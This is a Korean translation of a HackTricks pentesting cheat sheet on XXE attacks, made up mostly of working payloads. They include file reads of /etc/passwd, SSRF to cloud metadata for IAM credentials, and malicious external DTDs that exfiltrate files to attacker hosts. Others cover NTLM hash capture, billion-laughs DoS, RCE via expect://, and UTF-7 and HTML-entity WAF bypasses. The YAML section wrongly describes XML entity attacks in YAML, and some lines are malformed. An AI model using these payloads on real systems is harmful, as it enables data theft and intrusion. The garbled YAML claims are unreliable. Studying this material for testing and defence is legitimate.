hacktricks/pentesting-web/xxe-xee-xml-external-entity.md
2024-02-10 21:30:13 +00:00

47 KiB

XXE - XEE - XML 외부 엔티티

htARTE (HackTricks AWS Red Team Expert)를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요!

HackTricks를 지원하는 다른 방법:

XML 기본 사항

XML은 데이터 저장 및 전송을 위해 설계된 마크업 언어로, 기술적으로 명명된 태그의 사용을 허용하는 유연한 구조를 갖추고 있습니다. HTML과 달리 미리 정의된 태그 집합에 제한되지 않는 점이 다릅니다. JSON의 등장으로 XML의 중요성은 감소했지만, AJAX 기술에서 초기 역할을 한 것은 사실입니다.

  • Entity를 통한 데이터 표현: XML의 Entity는 <>에 해당하는 특수 문자인 &lt;&gt;와 같은 데이터의 표현을 가능하게 합니다. 이는 XML의 태그 시스템과 충돌을 피하기 위한 것입니다.

  • XML 요소 정의: XML은 요소 유형을 정의할 수 있어 요소의 구조와 포함될 수 있는 내용을 설명할 수 있습니다. 어떤 유형의 내용에서부터 특정 자식 요소까지 다양한 내용을 포함할 수 있습니다.

  • 문서 유형 정의 (DTD): DTD는 XML에서 문서의 구조와 포함될 수 있는 데이터 유형을 정의하는 데 중요합니다. 내부, 외부 또는 조합일 수 있으며, 문서의 형식과 유효성을 지정하는 데 도움을 줍니다.

  • 사용자 정의 및 외부 Entity: XML은 유연한 데이터 표현을 위해 DTD 내에서 사용자 정의 Entity를 지원합니다. URL로 정의된 외부 Entity는 XML 파서가 외부 데이터 소스를 처리하는 방식을 악용하는 XML External Entity (XXE) 공격과 관련된 보안 문제를 일으킬 수 있습니다: <!DOCTYPE foo [ <!ENTITY myentity "value" > ]>

  • Parameter Entity를 사용한 XXE 탐지: 일반적인 방법으로는 파서의 보안 조치로 인해 XXE 취약점을 탐지하기 어려울 때, XML Parameter Entity를 활용할 수 있습니다. 이러한 Entity를 사용하면 DNS 조회나 제어된 도메인으로의 HTTP 요청을 트리거하는 등의 외부 연동 탐지 기법을 사용하여 취약점을 확인할 수 있습니다.

  • <!DOCTYPE foo [ <!ENTITY ext SYSTEM "file:///etc/passwd" > ]>

  • <!DOCTYPE foo [ <!ENTITY ext SYSTEM "http://attacker.com" > ]>

주요 공격

이러한 대부분의 공격은 멋진 Portswiggers XEE 랩을 사용하여 테스트되었습니다: https://portswigger.net/web-security/xxe

새로운 Entity 테스트

이 공격에서는 간단한 새 ENTITY 선언이 작동하는지 테스트합니다.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY toreplace "3"> ]>
<stockCheck>
<productId>&toreplace;</productId>
<storeId>1</storeId>
</stockCheck>

파일 읽기

다양한 방법으로 /etc/passwd 파일을 읽어보겠습니다. Windows에서는 C:\windows\system32\drivers\etc\hosts를 읽어볼 수 있습니다.

이 첫 번째 경우에는 SYSTEM "**file:///**etc/passwd"도 작동할 것입니다.

<!--?xml version="1.0" ?-->
<!DOCTYPE foo [<!ENTITY example SYSTEM "/etc/passwd"> ]>
<data>&example;</data>

이 두 번째 경우는 웹 서버가 PHP를 사용하는 경우 파일을 추출하는 데 유용할 수 있습니다 (Portswiggers labs의 경우는 아닙니다).

<!--?xml version="1.0" ?-->
<!DOCTYPE replace [<!ENTITY example SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd"> ]>
<data>&example;</data>

이 세 번째 경우에는 Element stockCheck을 ANY로 선언하는 것을 주목하세요.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE data [
<!ELEMENT stockCheck ANY>
<!ENTITY file SYSTEM "file:///etc/passwd">
]>
<stockCheck>
<productId>&file;</productId>
<storeId>1</storeId>
</stockCheck3>

디렉토리 목록

Java 기반 애플리케이션에서는 다음과 같은 페이로드를 사용하여 XXE를 통해 디렉토리의 내용을 나열할 수 있습니다 (파일 대신 디렉토리를 요청하는 것만):

<!-- Root / -->
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE aa[<!ELEMENT bb ANY><!ENTITY xxe SYSTEM "file:///">]><root><foo>&xxe;</foo></root>

<!-- /etc/ -->
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root[<!ENTITY xxe SYSTEM "file:///etc/" >]><root><foo>&xxe;</foo></root>

SSRF

XXE를 사용하여 클라우드 내에서 SSRF를 악용할 수 있습니다.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin"> ]>
<stockCheck><productId>&xxe;</productId><storeId>1</storeId></stockCheck>

Blind SSRF

이전에 언급한 기술을 사용하여 서버가 취약점을 보여주도록 서버가 제어하는 서버에 액세스할 수 있습니다. 그러나 작동하지 않는 경우에는 아마도 XML 엔티티가 허용되지 않기 때문일 수 있으므로, 이 경우에는 XML 매개 변수 엔티티를 사용해 볼 수 있습니다:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [ <!ENTITY % xxe SYSTEM "http://gtd8nhwxylcik0mt2dgvpeapkgq7ew.burpcollaborator.net"> %xxe; ]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>

"Blind" SSRF - 데이터를 외부로 유출하기

이번에는 서버에 악성 페이로드가 포함된 새로운 DTD를 로드하여 파일의 내용을 HTTP 요청을 통해 전송하도록 서버를 작동시킬 것입니다 (여러 줄로 이루어진 파일의 경우 ftp://를 통해 유출시킬 수도 있습니다). 이 설명은 Portswiggers 랩을 기반으로 합니다.

악성 DTD에서는 다음과 같은 일련의 단계를 통해 데이터를 유출합니다:

악성 DTD 예시:

구조는 다음과 같습니다:

<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY &#x25; exfiltrate SYSTEM 'http://web-attacker.com/?x=%file;'>">
%eval;
%exfiltrate;

이 DTD에서 실행되는 단계는 다음과 같습니다:

  1. 매개 변수 엔티티 정의:
  • /etc/hostname 파일의 내용을 읽는 XML 매개 변수 엔티티 %file이 생성됩니다.
  • 또 다른 XML 매개 변수 엔티티 %eval이 정의됩니다. 이 엔티티는 동적으로 새로운 XML 매개 변수 엔티티 %exfiltrate를 선언합니다. %exfiltrate 엔티티는 URL의 쿼리 문자열 내에서 %file 엔티티의 내용을 전달하며 공격자의 서버로 HTTP 요청을 수행합니다.
  1. 엔티티 실행:
  • %eval 엔티티가 사용되어 %exfiltrate 엔티티의 동적 선언이 실행됩니다.
  • 그런 다음 %exfiltrate 엔티티가 사용되어 지정된 URL로 HTTP 요청이 트리거되며 파일의 내용이 전송됩니다.

공격자는 이 악성 DTD를 일반적으로 http://web-attacker.com/malicious.dtd와 같은 URL에서 제어하는 서버에 호스팅합니다.

XXE 페이로드: 취약한 애플리케이션을 악용하기 위해 공격자는 XXE 페이로드를 전송합니다:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>

이 페이로드는 XML 매개 변수 엔티티 %xxe를 정의하고 DTD 내에 통합합니다. XML 파서에서 처리되면 이 페이로드는 공격자의 서버에서 외부 DTD를 가져옵니다. 그런 다음 파서는 DTD를 인라인으로 해석하여 악성 DTD에 기술된 단계를 실행하고 /etc/hostname 파일을 공격자의 서버로 유출시킵니다.

오류 기반(외부 DTD)

이 경우에는 서버가 오류 메시지 내에서 파일의 내용을 표시하는 악성 DTD를 로드하도록 만듭니다 (오류 메시지를 볼 수 있는 경우에만 유효합니다). 여기에서 예제를 확인하세요.

악성 외부 Document Type Definition (DTD)를 사용하여 /etc/passwd 파일의 내용을 공개하는 XML 파싱 오류 메시지를 트리거할 수 있습니다. 이는 다음 단계를 통해 수행됩니다:

  1. /etc/passwd 파일의 내용을 포함하는 file이라는 XML 매개 변수 엔티티가 정의됩니다.
  2. eval이라는 XML 매개 변수 엔티티가 정의되며, error라는 다른 XML 매개 변수 엔티티에 대한 동적 선언을 포함합니다. 이 error 엔티티는 평가될 때, file 엔티티의 내용을 이름으로 사용하여 존재하지 않는 파일을 로드하려고 합니다.
  3. eval 엔티티가 호출되어 error 엔티티의 동적 선언이 수행됩니다.
  4. error 엔티티의 호출로 인해 존재하지 않는 파일을 로드하려고 하며, 이로 인해 /etc/passwd 파일의 내용이 파일 이름의 일부로 포함된 오류 메시지가 생성됩니다.

다음 XML로 악성 외부 DTD를 호출할 수 있습니다:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>

실행 시, 웹 서버의 응답에는 /etc/passwd 파일의 내용을 표시하는 오류 메시지가 포함되어야 합니다.

외부 DTD를 사용하면 두 번째 엔티티(eval) 내에 하나의 엔티티를 포함할 수 있지만, 내부 DTD에서는 허용되지 않습니다. 따라서, 일반적으로 외부 DTD를 사용하지 않으면 오류를 강제할 수 없습니다.

에러 기반 (시스템 DTD)

그렇다면 외부 연결이 차단된 경우 (외부 연결을 사용할 수 없음) 블라인드 XXE 취약점은 어떻게 될까요?

XML 언어 사양의 구멍으로 인해, 문서의 DTD가 내부 및 외부 선언을 혼합할 때 오류 메시지를 통해 민감한 데이터가 노출될 수 있습니다. 이 문제는 내부 DTD에서 외부 DTD에서 원래 선언된 XML 매개 변수 엔티티의 재정의를 허용하여 오류 기반 XXE 공격을 실행할 수 있게 합니다. 외부 연결이 서버에 의해 차단된 경우, 공격자는 공격을 수행하기 위해 로컬 DTD 파일에 의존해야 하며, 민감한 정보를 공개하기 위해 구문 분석 오류를 유발하기 위해 노력해야 합니다.

서버의 파일 시스템에 /usr/local/app/schema.dtd 경로에 DTD 파일이 있는 경우, 공격자는 다음과 같이 하이브리드 DTD를 제출함으로써 /etc/passwd 파일의 내용을 공개하는 XML 구문 분석 오류를 유발할 수 있습니다:

<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/local/app/schema.dtd">
<!ENTITY % custom_entity '
<!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file&#x27;>">
&#x25;eval;
&#x25;error;
'>
%local_dtd;
]>

다음은 이 DTD에 의해 실행되는 단계입니다:

  • local_dtd라는 XML 매개 변수 엔티티의 정의는 서버 파일 시스템에 위치한 외부 DTD 파일을 포함합니다.
  • custom_entity XML 매개 변수 엔티티의 재정의가 발생하며, 이는 원래 외부 DTD에서 정의되었으며 오류 기반 XXE 공격을 캡슐화합니다. 이 재정의는 구문 분석 오류를 유발하여 /etc/passwd 파일의 내용을 노출시킵니다.
  • local_dtd 엔티티를 사용하여 외부 DTD가 적용되며, 새로 정의된 custom_entity를 포함합니다. 이러한 일련의 작업은 공격에 의해 목표로 하는 오류 메시지의 발생을 야기합니다.

실제 예시: GNOME 데스크톱 환경을 사용하는 시스템은 종종 /usr/share/yelp/dtd/docbookx.dtdISOamso라는 엔티티를 포함하고 있습니다.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamso '
<!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>">
&#x25;eval;
&#x25;error;
'>
%local_dtd;
]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>

이 기술은 내부 DTD를 사용하기 때문에 먼저 유효한 DTD를 찾아야 합니다. 이를 위해 서버와 동일한 OS/소프트웨어를 설치하고 기본 DTD 목록을 검색하거나 시스템 내부의 기본 DTD 목록을 가져와서 확인할 수 있습니다:

<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
%local_dtd;
]>

더 많은 정보는 https://portswigger.net/web-security/xxe/blind에서 확인하세요.

시스템 내부에서 DTD 찾기

다음 굉장한 github 저장소에서는 시스템에 존재할 수 있는 DTD의 경로를 찾을 수 있습니다:

{% embed url="https://github.com/GoSecure/dtd-finder/tree/master/list" %}

또한, 피해자 시스템의 Docker 이미지가 있다면, 동일한 저장소의 도구를 사용하여 이미지를 스캔하고 시스템 내부에 존재하는 DTD의 경로를 찾을 수 있습니다. 자세한 내용은 github의 Readme를 참조하세요.

java -jar dtd-finder-1.2-SNAPSHOT-all.jar /tmp/dadocker.tar

Scanning TAR file /tmp/dadocker.tar

[=] Found a DTD: /tomcat/lib/jsp-api.jar!/jakarta/servlet/jsp/resources/jspxml.dtd
Testing 0 entities : []

[=] Found a DTD: /tomcat/lib/servlet-api.jar!/jakarta/servlet/resources/XMLSchema.dtd
Testing 0 entities : []

Office Open XML 파서를 통한 XXE

이 공격에 대한 더 자세한 설명은 Detectify의 이 놀라운 게시물의 두 번째 섹션을 확인하십시오.

많은 웹 애플리케이션에서는 Microsoft Office 문서를 업로드할 수 있는 기능을 제공하며, 이후 이러한 문서에서 특정 세부 정보를 추출합니다. 예를 들어, 웹 애플리케이션은 사용자가 XLSX 형식의 스프레드시트를 업로드하여 데이터를 가져올 수 있게 할 수 있습니다. 파서는 스프레드시트에서 데이터를 추출하기 위해 적어도 하나의 XML 파일을 파싱해야 합니다.

이 취약점을 테스트하기 위해서는 XXE 페이로드가 포함된 Microsoft Office 파일을 생성해야 합니다. 첫 번째 단계는 문서가 압축 해제될 수 있는 빈 디렉토리를 생성하는 것입니다.

문서가 압축 해제된 후, ./unzipped/word/document.xml에 위치한 XML 파일을 선호하는 텍스트 편집기(예: vim)로 열고 편집해야 합니다. XML을 수정하여 원하는 XXE 페이로드를 포함시켜야 합니다. 일반적으로 HTTP 요청으로 시작하는 것이 일반적입니다.

수정된 XML 라인은 두 개의 루트 XML 객체 사이에 삽입되어야 합니다. 요청을 모니터링할 수 있는 URL로 URL을 대체하는 것이 중요합니다.

마지막으로, 악성 poc.docx 파일을 생성하기 위해 파일을 압축해야 합니다. 이전에 생성한 "unzipped" 디렉토리에서 다음 명령을 실행해야 합니다:

이제 생성된 파일을 취약한 웹 애플리케이션에 업로드하고, Burp Collaborator 로그에 요청이 표시되기를 기대할 수 있습니다.

Jar: 프로토콜

jar 프로토콜은 Java 애플리케이션 내에서만 접근할 수 있습니다. 이는 로컬 및 원격 파일 모두를 처리하는 PKZIP 아카이브(예: .zip, .jar 등) 내에서 파일 액세스를 가능하게 하는 것을 목적으로 합니다.

jar:file:///var/myarchive.zip!/file.txt
jar:https://download.host.com/myarchive.zip!/file.txt

{% hint style="danger" %} PKZIP 파일 내부의 파일에 액세스할 수 있는 것은 시스템 DTD 파일을 통한 XXE를 악용하는 데 매우 유용합니다. 이 섹션에서 시스템 DTD 파일을 악용하는 방법을 배우세요. {% endhint %}

jar 프로토콜을 통해 PKZIP 아카이브 내의 파일에 액세스하는 과정은 다음과 같은 단계로 이루어집니다:

  1. https://download.website.com/archive.zip와 같은 지정된 위치에서 zip 아카이브를 다운로드하기 위해 HTTP 요청이 수행됩니다.
  2. 아카이브를 포함한 HTTP 응답은 일시적으로 시스템에 저장되며, 일반적으로 /tmp/...과 같은 위치에 저장됩니다.
  3. 아카이브는 추출되어 내용에 액세스할 수 있게 됩니다.
  4. 아카이브 내의 특정 파일인 file.zip이 읽힙니다.
  5. 이 과정 동안 생성된 임시 파일은 작업이 완료된 후 삭제됩니다.

두 번째 단계에서 이 과정을 중단시키는 흥미로운 기술은 아카이브 파일을 제공할 때 서버 연결을 영구적으로 열어두는 것입니다. 이를 위해 이 저장소에서 제공하는 도구를 활용할 수 있습니다. 이 도구에는 Python 서버(slow_http_server.py)와 Java 서버(slowserver.jar)가 포함되어 있습니다.

<!DOCTYPE foo [<!ENTITY xxe SYSTEM "jar:http://attacker.com:8080/evil.zip!/evil.dtd">]>
<foo>&xxe;</foo>

{% hint style="danger" %} 임시 디렉토리에 파일을 작성하는 것은 경로 순회(예: 로컬 파일 포함, 템플릿 주입, XSLT RCE, 역직렬화 등)와 관련된 다른 취약점을 확대시킬 수 있습니다. {% endhint %}

XSS

<![CDATA[<]]>script<![CDATA[>]]>alert(1)<![CDATA[<]]>/script<![CDATA[>]]>

DoS

Billion Laugh 공격

<!DOCTYPE data [
<!ENTITY a0 "dos" >
<!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;">
<!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;">
<!ENTITY a3 "&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;">
<!ENTITY a4 "&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;">
]>
<data>&a4;</data>

Yaml 공격

YAML(YAML Ain't Markup Language)은 사람이 쉽게 읽고 작성할 수 있는 데이터 직렬화 양식입니다. YAML은 대부분의 프로그래밍 언어에서 지원되며, 구성 파일, 데이터 전송 및 저장 등 다양한 용도로 사용됩니다.

YAML 공격은 악의적인 YAML 파일을 통해 시스템에 대한 공격을 시도하는 기법입니다. 이러한 공격은 주로 YAML 파서의 취약점을 이용하여 외부 엔티티를 로드하거나 실행하는 것을 목표로 합니다.

YAML 공격의 주요 유형은 다음과 같습니다:

  1. XXE (XML External Entity) 공격: YAML 파일에서 XML 엔티티를 사용하여 외부 파일을 로드하거나 원격 서버에 요청을 보내는 공격입니다. 이를 통해 시스템의 기밀 정보를 노출시키거나 원격 코드 실행을 수행할 수 있습니다.

  2. XEE (XML External Entity Expansion) 공격: XML 엔티티 확장을 통해 시스템 리소스를 고갈시키는 공격입니다. 악의적인 YAML 파일에서 엔티티를 반복적으로 확장하여 시스템의 성능을 저하시킬 수 있습니다.

YAML 공격을 방지하기 위해 다음과 같은 조치를 취할 수 있습니다:

  • 신뢰할 수 있는 YAML 파서를 사용합니다.
  • 외부 엔티티 로드를 비활성화하거나 제한합니다.
  • 입력 데이터의 유효성을 검사하고 필요한 경우 필터링합니다.
  • 보안 패치 및 업데이트를 정기적으로 적용합니다.

YAML 공격은 시스템의 기밀성과 가용성에 심각한 위협을 가질 수 있으므로, 개발자와 시스템 관리자는 이러한 공격에 대한 인식과 예방 방법을 숙지해야 합니다.

a: &a ["lol","lol","lol","lol","lol","lol","lol","lol","lol"]
b: &b [*a,*a,*a,*a,*a,*a,*a,*a,*a]
c: &c [*b,*b,*b,*b,*b,*b,*b,*b,*b]
d: &d [*c,*c,*c,*c,*c,*c,*c,*c,*c]
e: &e [*d,*d,*d,*d,*d,*d,*d,*d,*d]
f: &f [*e,*e,*e,*e,*e,*e,*e,*e,*e]
g: &g [*f,*f,*f,*f,*f,*f,*f,*f,*f]
h: &h [*g,*g,*g,*g,*g,*g,*g,*g,*g]
i: &i [*h,*h,*h,*h,*h,*h,*h,*h,*h]

이차 폭탄 공격

NTML 가져오기

Windows 호스트에서는 responder.py 핸들러를 설정하여 웹 서버 사용자의 NTML 해시를 가져올 수 있습니다.

Responder.py -I eth0 -v

그리고 다음 요청을 보내면

<!--?xml version="1.0" ?-->
<!DOCTYPE foo [<!ENTITY example SYSTEM 'file://///attackerIp//randomDir/random.jpg'> ]>
<data>&example;</data>

그런 다음 hashcat을 사용하여 해시를 크랙해 볼 수 있습니다.

숨겨진 XXE 표면

XInclude

백엔드 SOAP 요청과 같은 서버 측 XML 문서에 클라이언트 데이터를 통합할 때, XML 구조에 대한 직접적인 제어는 종종 제한되어 있어 DOCTYPE 요소를 수정하는 것을 제한하여 전통적인 XXE 공격을 방해합니다. 그러나 XInclude 공격은 XML 문서의 데이터 요소 내에 외부 엔티티를 삽입할 수 있도록 허용하여 이러한 제한을 극복하는 솔루션을 제공합니다. 이 방법은 서버에서 생성된 XML 문서의 일부 데이터만 제어할 수 있는 경우에도 효과적입니다.

XInclude 공격을 실행하려면 XInclude 네임스페이스를 선언하고 의도한 외부 엔티티의 파일 경로를 지정해야 합니다. 아래는 이러한 공격을 구성하는 간결한 예시입니다:

productId=<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></foo>&storeId=1

https://portswigger.net/web-security/xxe에서 자세한 정보를 확인하세요!

SVG - 파일 업로드

일부 응용 프로그램에 사용자가 업로드한 파일은 서버에서 처리되는 동안 XML 또는 XML을 포함하는 파일 형식의 처리 방식에 대한 취약점을 이용할 수 있습니다. DOCX와 같은 일반적인 파일 형식과 이미지 (SVG)는 XML을 기반으로 합니다.

사용자가 이미지를 업로드하면 이러한 이미지는 서버 측에서 처리되거나 유효성이 검사됩니다. PNG 또는 JPEG와 같은 형식을 예상하는 응용 프로그램의 경우에도 서버의 이미지 처리 라이브러리는 SVG 이미지를 지원할 수 있습니다. XML 기반 형식인 SVG는 공격자가 악성 SVG 이미지를 제출하여 서버를 XXE (XML External Entity) 취약점에 노출시킬 수 있습니다.

아래에는 악성 SVG 이미지가 시스템 파일을 읽으려고 시도하는 예가 나와 있습니다:

<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200"><image xlink:href="file:///etc/hostname"></image></svg>

다른 방법은 PHP "expect" 래퍼를 통해 명령어를 실행하는 것입니다:

<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200">
<image xlink:href="expect://ls"></image>
</svg>

두 가지 경우 모두, 서버 소프트웨어의 XML 처리 기능을 악용하는 공격을 실행하기 위해 SVG 형식이 사용되며, 견고한 입력 유효성 검사 및 보안 조치의 필요성을 강조합니다.

자세한 정보는 https://portswigger.net/web-security/xxe를 확인하세요!

파일의 첫 번째 줄 또는 실행 결과의 첫 번째 줄은 생성된 이미지 안에 나타납니다. 따라서 SVG가 생성한 이미지에 액세스할 수 있어야 합니다.

PDF - 파일 업로드

다음 게시물을 읽어보고 PDF 파일을 업로드하여 XXE를 악용하는 방법을 배워보세요:

{% content-ref url="file-upload/pdf-upload-xxe-and-cors-bypass.md" %} pdf-upload-xxe-and-cors-bypass.md {% endcontent-ref %}

Content-Type: x-www-urlencoded에서 XML로 변경

POST 요청이 XML 형식의 데이터를 허용하는 경우, 해당 요청에서 XXE를 악용해 볼 수 있습니다. 예를 들어, 일반적인 요청에는 다음과 같은 내용이 포함되어 있는 경우:

POST /action HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 7

foo=bar

그럼 다음과 같은 요청을 제출할 수 있을 것입니다. 결과는 동일합니다.

POST /action HTTP/1.0
Content-Type: text/xml
Content-Length: 52

<?xml version="1.0" encoding="UTF-8"?><foo>bar</foo>

Content-Type: JSON에서 XEE로 변경

요청을 변경하기 위해 "Content Type Converter"라는 Burp Extension을 사용할 수 있습니다. 여기에서 이 예제를 찾을 수 있습니다:

Content-Type: application/json;charset=UTF-8

{"root": {"root": {
"firstName": "Avinash",
"lastName": "",
"country": "United States",
"city": "ddd",
"postalCode": "ddd"
}}}
Content-Type: application/xml;charset=UTF-8

<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<!DOCTYPE testingxxe [<!ENTITY xxe SYSTEM "http://34.229.92.127:8000/TEST.ext" >]>
<root>
<root>
<firstName>&xxe;</firstName>
<lastName/>
<country>United States</country>
<city>ddd</city>
<postalCode>ddd</postalCode>
</root>
</root>

다른 예제는 여기에서 찾을 수 있습니다.

WAF 및 보호 우회

Base64

<!DOCTYPE test [ <!ENTITY % init SYSTEM "data://text/plain;base64,ZmlsZTovLy9ldGMvcGFzc3dk"> %init; ]><foo/>

이 작업은 XML 서버가 data:// 프로토콜을 허용하는 경우에만 작동합니다.

UTF-7

여기에서 ["Encode Recipe" of cyberchef here ]([https://gchq.github.io/CyberChef/#recipe=Encode_text%28'UTF-7 %2865000%29'%29&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4)to](https://gchq.github.io/CyberChef/#recipe=Encode_text%28'UTF-7 %2865000%29'%29&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to)를 사용하여 UTF-7로 변환할 수 있습니다.

<!xml version="1.0" encoding="UTF-7"?-->
+ADw-+ACE-DOCTYPE+ACA-foo+ACA-+AFs-+ADw-+ACE-ENTITY+ACA-example+ACA-SYSTEM+ACA-+ACI-/etc/passwd+ACI-+AD4-+ACA-+AF0-+AD4-+AAo-+ADw-stockCheck+AD4-+ADw-productId+AD4-+ACY-example+ADs-+ADw-/productId+AD4-+ADw-storeId+AD4-1+ADw-/storeId+AD4-+ADw-/stockCheck+AD4-
<?xml version="1.0" encoding="UTF-7"?>
+ADwAIQ-DOCTYPE foo+AFs +ADwAIQ-ELEMENT foo ANY +AD4
+ADwAIQ-ENTITY xxe SYSTEM +ACI-http://hack-r.be:1337+ACI +AD4AXQA+
+ADw-foo+AD4AJg-xxe+ADsAPA-/foo+AD4

파일:/ 프로토콜 우회

웹이 PHP를 사용하는 경우, file:/ 대신에 php 래퍼 php://filter/convert.base64-encode/resource=를 사용하여 내부 파일에 접근할 수 있습니다.

웹이 Java를 사용하는 경우 jar: 프로토콜을 확인할 수 있습니다.

HTML 엔티티

https://github.com/Ambrotd/XXE-Notes에서 가져온 트릭
HTML 엔티티를 사용하여 엔티티 내부에 엔티티를 생성하고, 그것을 호출하여 dtd를 로드할 수 있습니다.
사용되는 HTML 엔티티숫자 형식이어야 함에 유의하세요 (예: [이 예시에서](https://gchq.github.io/CyberChef/#recipe=To_HTML_Entity%28true,'Numeric entities'%29&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B)\).

<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [<!ENTITY % a "&#x3C;&#x21;&#x45;&#x4E;&#x54;&#x49;&#x54;&#x59;&#x25;&#x64;&#x74;&#x64;&#x53;&#x59;&#x53;&#x54;&#x45;&#x4D;&#x22;&#x68;&#x74;&#x74;&#x70;&#x3A;&#x2F;&#x2F;&#x6F;&#x75;&#x72;&#x73;&#x65;&#x72;&#x76;&#x65;&#x72;&#x2E;&#x63;&#x6F;&#x6D;&#x2F;&#x62;&#x79;&#x70;&#x61;&#x73;&#x73;&#x2E;&#x64;&#x74;&#x64;&#x22;&#x3E;" >%a;%dtd;]>
<data>
<env>&exfil;</env>
</data>

DTD 예시:

<!DOCTYPE foo [
  <!ELEMENT foo ANY >
  <!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<foo>&xxe;</foo>

위의 예시는 DTD(Document Type Definition)를 사용한 XML External Entity (XXE) 공격을 보여줍니다. 이 예시에서는 foo라는 요소를 정의하고, xxe라는 엔티티를 선언하고 있습니다. xxe 엔티티는 file:///etc/passwd 경로에 있는 /etc/passwd 파일을 참조하도록 설정되어 있습니다. 마지막으로 foo 요소 내에서 xxe 엔티티를 참조하고 있습니다. 이렇게 설정된 XML은 외부 엔티티를 통해 시스템 파일을 읽어들일 수 있습니다.

<!ENTITY % data SYSTEM "php://filter/convert.base64-encode/resource=/flag">
<!ENTITY % abt "<!ENTITY exfil SYSTEM 'http://172.17.0.1:7878/bypass.xml?%data;'>">
%abt;
%exfil;

PHP 래퍼

Base64

**index.php**를 추출합니다.

<!DOCTYPE replace [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php"> ]>

외부 리소스 추출

An XML External Entity (XXE) attack is a type of attack that exploits the functionality of XML parsers. It allows an attacker to extract data from the server or perform other malicious actions by including external entities in XML documents.

XML documents can contain entities, which are placeholders for data. These entities can be defined within the document or can be external entities referenced by a URL. In an XXE attack, an attacker crafts a malicious XML document that includes an external entity pointing to a file or resource they want to extract.

When the XML parser processes the document, it resolves the external entity and retrieves its content. This content can be sent back to the attacker or used to perform further attacks. The extracted data can include sensitive information such as configuration files, credentials, or even internal network details.

To perform an XXE attack, an attacker needs to identify a vulnerable XML parser and craft a malicious XML document. The document should include the external entity declaration and reference the desired resource. The attacker then submits this document to the target application, which processes it and triggers the XXE vulnerability.

There are several techniques to mitigate XXE attacks, such as disabling external entity resolution, using secure XML parsers, or implementing input validation and sanitization. It is crucial for developers and system administrators to be aware of the risks associated with XXE vulnerabilities and apply appropriate security measures to protect their applications and systems.

<!DOCTYPE replace [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=http://10.0.0.3"> ]>

원격 코드 실행

만약 PHP "expect" 모듈이 로드되어 있다면

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [ <!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "expect://id" >]>
<creds>
<user>&xxe;</user>
<pass>mypass</pass>
</creds>

SOAP - XEE

XML External Entity (XEE)는 SOAP (Simple Object Access Protocol) 프로토콜을 통해 발생할 수 있는 보안 취약점입니다. XEE는 악의적인 XML 엔터티를 사용하여 서버 측에서 파일 시스템에 액세스하거나 원격 코드 실행을 수행할 수 있습니다.

XEE 공격의 원리

